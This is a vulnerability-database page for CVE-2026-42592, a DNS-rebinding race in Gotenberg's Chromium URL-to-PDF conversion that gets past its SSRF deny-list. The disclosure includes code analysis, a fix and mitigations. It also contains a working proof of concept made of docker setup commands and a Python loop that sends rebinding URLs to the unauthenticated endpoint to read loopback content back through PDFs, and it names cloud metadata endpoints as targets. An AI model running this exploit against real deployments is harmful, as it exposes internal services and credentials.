Skip to main content

Gotenberg CVE-2026-42592

| EUVDEUVD-2026-30315 MEDIUM
Time-of-check Time-of-use (TOCTOU) Race Condition (CWE-367)
2026-05-07 https://github.com/gotenberg/gotenberg GHSA-2pmr-289p-44r3
5.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

4
Patch available
May 14, 2026 - 18:02 EUVD
Source Code Evidence Fetched
May 07, 2026 - 01:16 vuln.today
Analysis Generated
May 07, 2026 - 01:16 vuln.today
CVE Published
May 07, 2026 - 00:57 nvd
MEDIUM 5.3

DescriptionGitHub Advisory

Summary

FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.

Details

pkg/gotenberg/outbound.go:227-230 drops the pinned IPs from the outbound decision:

go
func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {
    _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)
    return err
}

The Chromium convert path at pkg/modules/chromium/browser.go:341 calls FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline) and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.

The CDP Fetch.requestPaused listener at pkg/modules/chromium/events.go:55 runs a second check:

go
err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)

This also calls decideOutbound, which again resolves DNS, checks, and returns only the error. After the handler calls fetch.ContinueRequest at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.

The webhook and downloadFrom paths avoid this class by using gotenberg.NewOutboundHttpClient at pkg/gotenberg/outbound.go:269-280, which wires a secureDialContext that pins resolved IPs through dialPinned. The Chromium navigation path has no equivalent. The --chromium-host-resolver-rules flag at pkg/modules/chromium/chromium.go:446 defaults to empty, so no operator-provided mapping closes the gap in default deployments.

Proof of Concept

Reproduction uses a public DNS service that randomizes the response per query. rebind.<subdomain>.requestrepo.com resolves to <public-ip> or 127.0.0.1 with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return <public-ip>%127.0.0.1.

Setup:

bash
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
# Simulate an internal-only HTTP service that the default deny-list blocks.
docker exec gotenberg-poc sh -c \
    'mkdir -p /tmp/rebind_srv && \
     echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html'
docker exec -d gotenberg-poc sh -c \
    'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'

Alice runs the attack without auth:

python
import requests, subprocess
T = "http://localhost:3000"
REBIND = "http://rebind.<subdomain>.requestrepo.com/"
MARKER = "INTERNAL-ONLY-REBIND-HIT"

hits = 0
for i in range(20):
    r = requests.post(
        f"{T}/forms/chromium/convert/url",
        files={"url": (None, REBIND)},
        timeout=30,
    )
    if r.status_code != 200:
        continue
    open("/tmp/_r.pdf", "wb").write(r.content)
    txt = subprocess.run(
        ["pdftotext", "/tmp/_r.pdf", "-"],
        capture_output=True, text=True,
    ).stdout
    if MARKER in txt:
        hits += 1

print(f"{hits}/20 rebind hits")

Observed output against gotenberg 8.31.0:

2/20 rebind hits

The marker renders in the attacker's PDF output. 127.0.0.1:80 serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.

Impact

An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at 169.254.169.254, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.

Recommended Fix

Pin the resolved IP from Gotenberg's decideOutbound check all the way to Chromium's connect. Export the existing decideOutbound function as DecideOutbound, then use the returned pinned IP to rewrite the Chromium navigation URL inside the Fetch.requestPaused handler via fetch.ContinueRequest. Set the Host header to the original hostname so TLS and virtual-host routing still work:

go
decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
if err != nil {
    allow = false
} else if len(decision.Pinned) > 0 {
    pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())
    req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)
}

Alternative: pass --host-resolver-rules="MAP <hostname> <pinned-ip>" to Chromium when starting the per-request session, derived from the FilterOutboundURL resolution. This is the same mechanism the --chromium-host-resolver-rules flag already exposes to operators, just applied automatically per request.

--- *Found by aisafe.io*

AnalysisAI

DNS rebinding vulnerability in Gotenberg allows unauthenticated remote attackers to bypass SSRF protections and access internal services via Chromium URL conversion routes. When a URL is submitted for PDF conversion, Gotenberg validates the resolved IP address against a deny-list but discards the pinned result. Chromium then performs independent DNS resolution multiple times, creating a race condition where an attacker controlling DNS can return a public IP during validation and a private IP during connection, allowing access to loopback services, cloud metadata endpoints, or internal networks. Exploitation succeeds approximately 10% per attempt with trivial automation.

Technical ContextAI

Gotenberg's outbound filtering validates URLs by resolving hostnames and checking resolved IPs against private-address deny-lists (RFC 1918, 169.254.0.0/16, etc.), but the FilterOutboundURL function in pkg/gotenberg/outbound.go discards the pinned IP addresses after validation and returns only the error status. When the Chromium conversion path receives a URL, it passes the raw hostname string to Chromium's Chrome DevTools Protocol (CDP) at pkg/modules/chromium/browser.go:341, which triggers independent DNS resolution in Chromium's native network stack. The CDP Fetch.requestPaused handler at pkg/modules/chromium/events.go:55 performs a second validation by calling FilterOutboundURL again, but this also discards pinned IPs. Between the handler's DNS resolution and Chromium's actual TCP connect, a timing window exists where an attacker controlling authoritative DNS with short TTLs can switch responses. In contrast, the webhook and downloadFrom paths use gotenberg.NewOutboundHttpClient with a secureDialContext that enforces IP pinning throughout the HTTP client lifecycle, preventing the rebind attack. The root cause is CWE-367 (Time-of-check Time-of-use Race Condition): validation occurs at one moment but the security-critical connection decision (TCP connect) happens asynchronously with no guarantee the hostname still resolves to the same address.

RemediationAI

No vendor-released patch identified at time of analysis per the input data. The GitHub advisory at https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3 recommends pinning resolved IPs through Chromium's network stack by exporting the internal decideOutbound function as DecideOutbound and rewriting URLs in the Fetch.requestPaused handler to use pinned IPs, or alternatively passing per-request --host-resolver-rules to Chromium derived from the initial validation. Until a patch is released, operators can apply these mitigations: (1) Disable Chromium URL conversion endpoints if not required, eliminating the attack surface entirely; (2) Configure --chromium-host-resolver-rules='MAP <internal-hostname> <pinned-ip>' for known internal services, which uses Chromium's native host resolver override mechanism to pin DNS responses per request (trade-off: requires operator knowledge of internal infrastructure); (3) Block outbound DNS from the Gotenberg container to untrusted nameservers, forcing DNS queries through a corporate resolver under operator control (trade-off: reduces flexibility for legitimate URL conversions); (4) Restrict network access to Gotenberg's ports to trusted clients only, reducing exposure (trade-off: may conflict with legitimate use cases). None of these are complete until the code fix is implemented.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-42592 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy